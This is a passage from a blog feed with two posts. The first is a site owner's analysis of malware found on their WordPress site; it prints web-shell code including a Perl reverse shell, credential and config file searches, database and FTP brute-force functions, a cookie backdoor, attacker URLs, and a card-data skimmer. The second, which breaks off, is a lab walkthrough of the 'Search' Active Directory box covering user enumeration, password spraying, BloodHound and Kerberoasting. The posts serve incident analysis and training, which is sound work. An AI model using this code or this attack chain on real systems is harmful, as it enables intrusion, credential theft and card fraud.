        &quot;find .bash_history files in current dir&quot; =&amp;gt; &quot;find . -type f -name .bash_history&quot;,
        &quot;find all .fetchmailrc files&quot; =&amp;gt; &quot;find / -type f -name .fetchmailrc&quot;,
        &quot;find .fetchmailrc files in current dir&quot; =&amp;gt; &quot;find . -type f -name .fetchmailrc&quot;,
        &quot;Locate&quot; =&amp;gt; &quot;&quot;,
        &quot;locate httpd.conf files&quot; =&amp;gt; &quot;locate httpd.conf&quot;,
        &quot;locate vhosts.conf files&quot; =&amp;gt; &quot;locate vhosts.conf&quot;,
        &quot;locate proftpd.conf files&quot; =&amp;gt; &quot;locate proftpd.conf&quot;,
        &quot;locate psybnc.conf files&quot; =&amp;gt; &quot;locate psybnc.conf&quot;,
        &quot;locate my.conf files&quot; =&amp;gt; &quot;locate my.conf&quot;,
        &quot;locate admin.php files&quot; =&amp;gt; &quot;locate admin.php&quot;,
        &quot;locate cfg.php files&quot; =&amp;gt; &quot;locate cfg.php&quot;,
        &quot;locate conf.php files&quot; =&amp;gt; &quot;locate conf.php&quot;,
        &quot;locate config.dat files&quot; =&amp;gt; &quot;locate config.dat&quot;,
        &quot;locate config.php files&quot; =&amp;gt; &quot;locate config.php&quot;,
        &quot;locate config.inc files&quot; =&amp;gt; &quot;locate config.inc&quot;,
        &quot;locate config.inc.php&quot; =&amp;gt; &quot;locate config.inc.php&quot;,
        &quot;locate config.default.php files&quot; =&amp;gt; &quot;locate config.default.php&quot;,
        &quot;locate config* files &quot; =&amp;gt; &quot;locate config&quot;,
        &quot;locate .conf files&quot; =&amp;gt; &quot;locate &apos;.conf&apos;&quot;,
        &quot;locate .pwd files&quot; =&amp;gt; &quot;locate &apos;.pwd&apos;&quot;,
        &quot;locate .sql files&quot; =&amp;gt; &quot;locate &apos;.sql&apos;&quot;,
        &quot;locate .htpasswd files&quot; =&amp;gt; &quot;locate &apos;.htpasswd&apos;&quot;,
        &quot;locate .bash_history files&quot; =&amp;gt; &quot;locate &apos;.bash_history&apos;&quot;,
        &quot;locate .mysql_history files&quot; =&amp;gt; &quot;locate &apos;.mysql_history&apos;&quot;,
        &quot;locate .fetchmailrc files&quot; =&amp;gt; &quot;locate &apos;.fetchmailrc&apos;&quot;,
        &quot;locate backup files&quot; =&amp;gt; &quot;locate backup&quot;,
        &quot;locate dump files&quot; =&amp;gt; &quot;locate dump&quot;,
        &quot;locate priv files&quot; =&amp;gt; &quot;locate priv&quot;
    );
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h1 id=&quot;more-recon&quot;&gt;More Recon:&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if ($GLOBALS[&apos;os&apos;] == &apos;nix&apos;) {
        wsoSecParam(&apos;Readable /etc/passwd&apos;, @is_readable(&apos;/etc/passwd&apos;) ? &quot;yes &amp;lt;a href=&apos;#&apos; onclick=&apos;g(\&quot;ft\&quot;, \&quot;/rgp/\&quot;, \&quot;cnffjq\&quot;)&apos;&amp;gt;[view]&amp;lt;/a&amp;gt;&quot; : &apos;no&apos;);
        wsoSecParam(&apos;Readable /etc/shadow&apos;, @is_readable(&apos;/etc/shadow&apos;) ? &quot;yes &amp;lt;a href=&apos;#&apos; onclick=&apos;g(\&quot;ft\&quot;, \&quot;/rgp/\&quot;, \&quot;funqbj\&quot;)&apos;&amp;gt;[view]&amp;lt;/a&amp;gt;&quot; : &apos;no&apos;);
        wsoSecParam(&apos;OS version&apos;, @file_get_contents(&apos;/proc/version&apos;));
        wsoSecParam(&apos;Distr name&apos;, @file_get_contents(&apos;/etc/issue.net&apos;));
        if (!$GLOBALS[&apos;safe_mode&apos;]) {
            $userful = array(&apos;gcc&apos;, &apos;lcc&apos;, &apos;cc&apos;, &apos;ld&apos;, &apos;make&apos;, &apos;php&apos;, &apos;perl&apos;, &apos;python&apos;, &apos;ruby&apos;, &apos;tar&apos;, &apos;gzip&apos;, &apos;bzip&apos;, &apos;bzip2&apos;, &apos;nc&apos;, &apos;locate&apos;, &apos;suidperl&apos;);
            $danger = array(&apos;kav&apos;, &apos;nod32&apos;, &apos;bdcored&apos;, &apos;uvscan&apos;, &apos;sav&apos;, &apos;drwebd&apos;, &apos;clamd&apos;, &apos;rkhunter&apos;, &apos;chkrootkit&apos;, &apos;iptables&apos;, &apos;ipfw&apos;, &apos;tripwire&apos;, &apos;shieldcc&apos;, &apos;portsentry&apos;, &apos;snort&apos;, &apos;ossec&apos;, &apos;lidsadm&apos;, &apos;tcplodg&apos;, &apos;sxid&apos;, &apos;logcheck&apos;, &apos;logwatch&apos;, &apos;sysmask&apos;, &apos;zmbscap&apos;, &apos;sawmill&apos;, &apos;wormscan&apos;, &apos;ninja&apos;);
            $downloaders = array(&apos;wget&apos;, &apos;fetch&apos;, &apos;lynx&apos;, &apos;links&apos;, &apos;curl&apos;, &apos;get&apos;, &apos;lwp-mirror&apos;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;removal-of-the-shell&quot;&gt;Removal of the Shell:&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;function actionSelfRemove() {

    if ($_POST[&apos;p&apos;] == &apos;yes&apos;)
        if (@unlink(preg_replace(&apos;!\(\d+\)\s.*!&apos;, &apos;&apos;, __FILE__)))
            die(&apos;Shell has been removed&apos;);
        else
            echo &apos;unlink error!&apos;;
    if ($_POST[&apos;p&apos;] != &apos;yes&apos;)
        wsoHeader();
    echo &apos;&amp;lt;h1&amp;gt;Suicide&amp;lt;/h1&amp;gt;&amp;lt;div class=content&amp;gt;Really want to remove the shell?&amp;lt;br&amp;gt;&amp;lt;a href=# onclick=&quot;g(null,null,\&apos;yes\&apos;)&quot;&amp;gt;Yes&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&apos;;
    wsoFooter();
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;ftp-and-sql-login-attempts&quot;&gt;FTP and SQL login attempts:&lt;/h1&gt;
&lt;p&gt;(There are many other functions for handling each type of success)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if ($_POST[&apos;proto&apos;] == &apos;ftp&apos;) {

            function wsoBruteForce($ip, $port, $login, $pass) {
                $fp = @ftp_connect($ip, $port ? $port : 21);
                if (!$fp)
                    return false;
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return $res;
            }

        } elseif ($_POST[&apos;proto&apos;] == &apos;mysql&apos;) {

            function wsoBruteForce($ip, $port, $login, $pass) {
                $res = @mysql_connect($ip . &apos;:&apos; . ($port ? $port : 3306), $login, $pass);
                @mysql_close($res);
                return $res;
            }

        } elseif ($_POST[&apos;proto&apos;] == &apos;pgsql&apos;) {

            function wsoBruteForce($ip, $port, $login, $pass) {
                $str = &quot;host=&apos;&quot; . $ip . &quot;&apos; port=&apos;&quot; . $port . &quot;&apos; user=&apos;&quot; . $login . &quot;&apos; password=&apos;&quot; . $pass . &quot;&apos; dbname=postgres&quot;;
                $res = @pg_connect($str);
                @pg_close($res);
                return $res;
            }

        }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;connect-back-function&quot;&gt;Connect Back Function:&lt;/h1&gt;
&lt;p&gt;(This was Base64 encoded in a function called “connect_back”)&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die(&quot;Error: $!\n&quot;);
$paddr=sockaddr_in($ARGV[1], $iaddr) || die(&quot;Error: $!\n&quot;);
$proto=getprotobyname(&apos;tcp&apos;);
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(&quot;Error: $!\n&quot;);
connect(SOCKET, $paddr) || die(&quot;Error: $!\n&quot;);
open(STDIN, &quot;&amp;gt;&amp;amp;SOCKET&quot;);
open(STDOUT, &quot;&amp;gt;&amp;amp;SOCKET&quot;);
open(STDERR, &quot;&amp;gt;&amp;amp;SOCKET&quot;);
system(&apos;/bin/sh -i&apos;);
close(STDIN);
close(STDOUT);
close(STDERR);n)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;some-attribution&quot;&gt;Some attribution?&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;define(&quot;SMILODON_EMAIL&quot;, &quot;r.kortes2018@yandex.ru&quot;);
define(&quot;SMILODON_URL&quot;, &quot;https://javasources.net/SMILODON/index.php?view=&quot;);
$get_url = &quot;https://predator.host/SMILODON/index.php?view=&quot;
$get_url = &quot;https://zolo.pw/wtf/index.php?h=&quot; . $_SERVER[&apos;HTTP_HOST&apos;];
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;special-cookies&quot;&gt;Special Cookies:&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if (((isset($_COOKIE[&apos;wtf&apos;])) &amp;amp;&amp;amp; (md5($_COOKIE[&apos;wtf&apos;]) == &apos;7ac1cca5bee8b8b31a521b97b0988063&apos;)) || ((isset($_COOKIE[&apos;ftw&apos;])) &amp;amp;&amp;amp; (md5($_COOKIE[&apos;ftw&apos;]) == &apos;7ac1cca5bee8b8b31a521b97b0988063&apos;)))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;payments--credit-card-pinching&quot;&gt;Payments / Credit Card pinching:&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        if (isset($_POST[&apos;billing_first_name&apos;])) {
            $firstname = isset($_POST[&apos;billing_first_name&apos;]) ? $_POST[&apos;billing_first_name&apos;] : &quot;&quot;;
            $lastname = isset($_POST[&apos;billing_last_name&apos;]) ? $_POST[&apos;billing_last_name&apos;] : &quot;&quot;;
            $country = isset($_POST[&apos;billing_country&apos;]) ? $_POST[&apos;billing_country&apos;] : &quot;&quot;;
            $region = isset($_POST[&apos;billing_state&apos;]) ? $_POST[&apos;billing_state&apos;] : &quot;&quot;;
            $city = isset($_POST[&apos;billing_city&apos;]) ? $_POST[&apos;billing_city&apos;] : &quot;&quot;;
            $address = isset($_POST[&apos;billing_address_1&apos;]) ? $_POST[&apos;billing_address_1&apos;] : &quot;&quot;;

            $zip = isset($_POST[&apos;billing_postcode&apos;]) ? $_POST[&apos;billing_postcode&apos;] : &quot;&quot;;
            $phone = isset($_POST[&apos;billing_phone&apos;]) ? $_POST[&apos;billing_phone&apos;] : &quot;&quot;;
            $email = isset($_POST[&apos;billing_email&apos;]) ? $_POST[&apos;billing_email&apos;] : &quot;&quot;;

            $bill = $firstname . &apos; &apos; . $lastname . &apos;|&apos; . $address . &apos;|&apos; . $city . &apos;|&apos; . $region . &apos; |&apos; . $zip . &apos;|&apos; . $country . &apos;|&apos; . $phone . &apos; &apos; . $email;
            setcookie(&quot;_wdata&quot;, base64_encode($bill), time() + 3600, &quot;/&quot;);
            $_COOKIE[&apos;_wdata&apos;] = base64_encode($bill);
        };
        if (isset($_POST[&apos;payment&apos;])) {
            $fieldsArray = array(
                &quot;/.*cc_num.*/&quot; =&amp;gt; 1,
                &quot;/.*control_settings.*/&quot; =&amp;gt; 1,
                &quot;/.*cc_exp_m.*/&quot; =&amp;gt; 2,
                &quot;/.*exp_month.*/&quot; =&amp;gt; 2,
                &quot;/.*expirationMonth.*/&quot; =&amp;gt; 2,
                &quot;/.*msn_set.*/&quot; =&amp;gt; 2,
                &quot;/.*cc_exp_y.*/&quot; =&amp;gt; 3,
                &quot;/.*exp_year.*/&quot; =&amp;gt; 3,
                &quot;/.*expirationYear.*/&quot; =&amp;gt; 3,
                &quot;/.*yellow_set.*/&quot; =&amp;gt; 3,
                &quot;/.*savage_set.*/&quot; =&amp;gt; 4,
                &quot;/.*cc_cid.*/&quot; =&amp;gt; 4
            );
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;wrapping-up&quot;&gt;Wrapping Up:&lt;/h1&gt;

&lt;p&gt;There’s more code, most of it has random function names and concatenated strings making it a little harder to follow. It is mostly the types of things you’d expect in a backdoor - inventory tasks and functions to attempt privilege escalation.&lt;/p&gt;

&lt;p&gt;This mini incident was a bit of a wakeup call to me. I told myself I didn’t really care too much about security for a blogging site, but I think on some level I just assumed it wouldn’t happen to me. I’ve taken the site down for now, or at least parked it. I reached out to the hosting provider to let them know in case someone was able to get a good level of access to the underlying OS. There’s that unlikely chance that the person using the shell could have broken out of my hosting environment and had some influence on other hosts. More likely though, it is possible they could have served more malware from my site - that is a serious risk.&lt;/p&gt;

&lt;p&gt;Oh, regarding &lt;a href=&quot;https://www.wordfence.com/&quot;&gt;Wordfence&lt;/a&gt;. I’m definitely not trying to push their product, I’ve only been a customer for a week, but I would say: if it hadn’t caught that suspicious “include” statement in a .php file as a sign that something was up, I’ll be honest and admit that I wouldn’t have spotted this for quite a while. There’s just so much code in a WordPress site, if you maintain one, I would recommend getting an automated scanning product and Wordfence did the job for me.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/security/hardening/&quot;&gt;WordPress hardening guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/&quot;&gt;OWASP Web Security Testing Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 15 Dec 2022 14:34:25 +0000</pubDate>
        <link>https://chadduffey.com/wordpress/malware/2022/12/15/WordpressMalware-copy.html</link>
        <guid isPermaLink="true">https://chadduffey.com/wordpress/malware/2022/12/15/WordpressMalware-copy.html</guid>
        
        
        <category>wordpress</category>
        
        <category>malware</category>
        
      </item>
    
      <item>
        <title>HTB - Search</title>
        <description>&lt;p&gt;Search is a strong Active Directory lab for attackers and defenders because it rewards disciplined enumeration more than tool memorization. The useful habit is to keep asking which identity has which right over which object, then prove the path before escalating.&lt;/p&gt;

&lt;p&gt;Before going too far: if you are new to this type of content, I’d encourage you to use ippsec’s really high-quality YouTube video rather than this post. This post is better suited to provide quick access to commands and techniques that might help you solve this AD challenge and also let you test attack and defense for the techniques in your own lab environment.&lt;/p&gt;

&lt;h1 id=&quot;recon&quot;&gt;Recon&lt;/h1&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -sC -sV -oA search.nmap 10.10.11.129&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We determine that this has the look of an Active Directory domain controller because of what appears to be a combination of DNS (53), Global Catalog (3268), Kerberos (88), LDAP (389) and SMB (445) on the machine.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus

80/tcp open http Microsoft IIS httpd 10.0
 |http-title: Search - Just Testing IIS | http-methods: | Potentially risky methods: TRACE
 |http-server-header: Microsoft-IIS/10.0
88/tcp open Kerberos-sec Microsoft Windows Kerberos (server    time: 2022-12-12 00:39:40Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name) |_ssl-date: 2022-12-12T00:41:04+00:00; -10h59m57s from scanner time. | ssl-cert: Subject: commonName=research | Not valid before: 2020-08-11T08:13:35 |_Not valid after: 2030-08-09T08:13:35 443/tcp open ssl/http Microsoft IIS httpd 10.0 | tls-alpn: | http/1.1
|http-server-header: Microsoft-IIS/10.0 |_http-title: Search - Just Testing IIS |_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time. | http-methods: | Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35

445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-12-12T00:41:04+00:00; -10h59m57s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
|_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time.
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We also notice what appears to be a web server. If the machine is a domain controller it would not be recommended in many situations, but in this lab it is a starting point to find more information.&lt;/p&gt;

&lt;h1 id=&quot;hostname&quot;&gt;Hostname&lt;/h1&gt;

&lt;p&gt;We can already infer the hostname of “research” via the commonname in TLS certificate output generated with nmap above.&lt;/p&gt;

&lt;p&gt;Another approach, demonstrated by ippsec in the video is to use crackmapexec. An easy way to get it in a state ready to go if you are not using kali is with docker:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker run -it --entrypoint=/bin/sh --name cme -v ~/.cme:/root/.cme byt3bl33d3r/crackmapexec
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see from the output that the SMB interrogation backs up our hostname finding from the TLS certificate. (We can also see that SMB signing is enabled. Not ideal for attackers, thumbs up for the blue team).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SMB 10.10.11.129 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;users&quot;&gt;Users&lt;/h1&gt;

&lt;p&gt;By navigating to the web site found in the nmap scan we can see that there are a handful of employee names on the site. We can create a file containing likely login names based on the full names. The suggested names would be firstname.lastname (roger.ramjet) as well as firstinitiallastname (rramjet).&lt;/p&gt;

&lt;p&gt;We come up with something like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hope.sharp
keely.lyons
dax.santiago
sierra.frye
kyla.stewart
kaiara.spencer
dave.simpson
ben.thompson
chris.stewart
hsharp
klyons
dsantiago
sfrye
kstewart
kspencer
dsimpson
bthompson
cstewart
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The next step is to get a better idea on the naming convention and users that do exist in AD. In the video mentioned at the start, ippsec suggests ropnop’s kerbrute which is an excellent idea (https://github.com/ropnop/kerbrute).&lt;/p&gt;

&lt;p&gt;We can get it like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And check against our list of potential users with:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./kerbrute_linux_amd64 userenum --dc &apos;research.search.htb&apos; -d &apos;search.htb&apos; search-users.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We determine that the following three are interesting to us:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./kerbrute_linux_amd64 userenum --dc &apos;research.search.htb&apos; -d &apos;search.htb&apos; search-users.txt
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&amp;lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/13/22 - Ronnie Flathers @ropnop

2022/12/13 01:35:51 &amp;gt;  Using KDC(s):
2022/12/13 01:35:51 &amp;gt;  	research.search.htb:88

2022/12/13 01:35:51 &amp;gt;  [+] VALID USERNAME:	 hope.sharp@search.htb
2022/12/13 01:35:51 &amp;gt;  [+] VALID USERNAME:	 dax.santiago@search.htb
2022/12/13 01:35:51 &amp;gt;  [+] VALID USERNAME:	 keely.lyons@search.htb
2022/12/13 01:35:51 &amp;gt;  [+] VALID USERNAME:	 sierra.frye@search.htb
2022/12/13 01:35:51 &amp;gt;  Done! Tested 18 usernames (4 valid) in 0.472 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We can be reasonably confident that we’ve learned the default naming convention (firstname.lastname) and some valid usernames. In the case of Hope, we also discovered what appears to be a password in an image on the website.&lt;/p&gt;

&lt;p&gt;We can confirm the password using the same tool:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./kerbrute_linux_amd64 passwordspray --dc &apos;research.search.htb&apos; -d &apos;search.htb&apos; search-users.txt &apos;ThepasswordWeThinkWeFound&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In the first attempt we are reminded that because we are dealing with Kerberos, we need to ensure clocks are in sync. The default allowable skew is five minutes. If we first update our local client time and then try again we have success:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;\--- $sudo ntpdate 10.10.11.129
12 Dec 14:50:01 ntpdate[5225]: step time server 10.10.11.129 offset -39600.255169 sec

\--- $./kerbrute_linux_amd64 passwordspray --dc &apos;research.search.htb&apos; -d &apos;search.htb&apos; search-users.txt &apos;thepasswordwefind&apos;

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&amp;lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/12/22 - Ronnie Flathers @ropnop

2022/12/12 14:50:09 &amp;gt;  Using KDC(s):
2022/12/12 14:50:09 &amp;gt;  	research.search.htb:88

2022/12/12 14:50:10 &amp;gt;  [+] VALID LOGIN:	 hope.sharp@search.htb:thepassowrdwefind
2022/12/12 14:50:10 &amp;gt;  Done! Tested 18 logins (1 successes) in 0.965 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We could also validate that we have at least read access to the ‘sysvol’ or ‘netlogon’ directories which need to be readable by all authenticated users using:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;--- $smbclient \\\\search.htb\\sysvol -U search\\hope.sharp
Password for [SEARCH\hope.sharp]:
Try &quot;help&quot; to get a list of possible commands.
smb: \&amp;gt; ls
  .                                  Dc        0  Wed Apr  1 02:41:30 2020
  ..                                 Dc        0  Wed Apr  1 02:41:30 2020
  FOLJWSHRGG                         Dc        0  Wed Apr  1 02:41:30 2020
  search.htb                        Drc        0  Wed Apr  1 01:18:24 2020

		3246079 blocks of size 4096. 600243 blocks available
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Data Collection&lt;/p&gt;

&lt;p&gt;Now that we have a confirmed set of credentials, we can go ahead and take a bloodhound collection.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/fox-it/BloodHound.py.git
python3 -m venv .venv
source .venv/bin/activate
pip3 install .

python3 bloodhound.py -u hope.sharp -p ourpassword -d search.htb -ns 10.10.11.129 -dc research.search.htb -c All
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Once the collection is complete, we can start bloodhound to examine the data:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install -y bloodhound
sudo neo4j console
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Log on to the web portal on localhost with http://localhost:7474 and change the default credentials from neo4j:neo4j&lt;/p&gt;

&lt;p&gt;Then start bloodhound with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bloodhound
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Upload all the .json files collected with bloodhound.py.&lt;/p&gt;

&lt;p&gt;You should be able to see that the database now has items populated.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/bh-populated.png&quot; alt=&quot;bloodhound populated&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Using “Analysis” &amp;gt; “Kerberos” &amp;gt; “List Kerberoastable Accounts” we locate WEB_SVC@search.htb as a potential next target. We could have moved on to using impacket as described in the next section but it is good to have a look at what we are working with in the bloodhound collection first. We also isolate an additional domain admin account: tristan.davis@search.htb.&lt;/p&gt;

&lt;h1 id=&quot;kerberoasting&quot;&gt;Kerberoasting&lt;/h1&gt;

&lt;p&gt;We can use a script from impacket in the first instance:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GetUserSPNs.py search.htb/hope.sharp:ourpassword -outputfile krb.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Inspecting krb.txt we find that we have successfully gathered a hash.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$cat krb.txt
$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$bd19145bf443f980627ec849d5ea6700$0b781bfc8c2f76d62bd0376fc3ddd2070a179511a1acc918090a9407c17a3a101aaa280e0b5cde0ea560c0f9ff848799113a723719332b02d16b11312cd74d2498d33ba1ef2f3af36eff0c190cbb8bba191fd0dc55
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We can attempt to crack the hash with hashcat mode &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;13100&lt;/code&gt; (Kerberos 5 TGS-REP etype 23):&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hashcat -m 13100 -a 0 krb.txt /opt/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We are lucky and can now use:&lt;/p&gt;
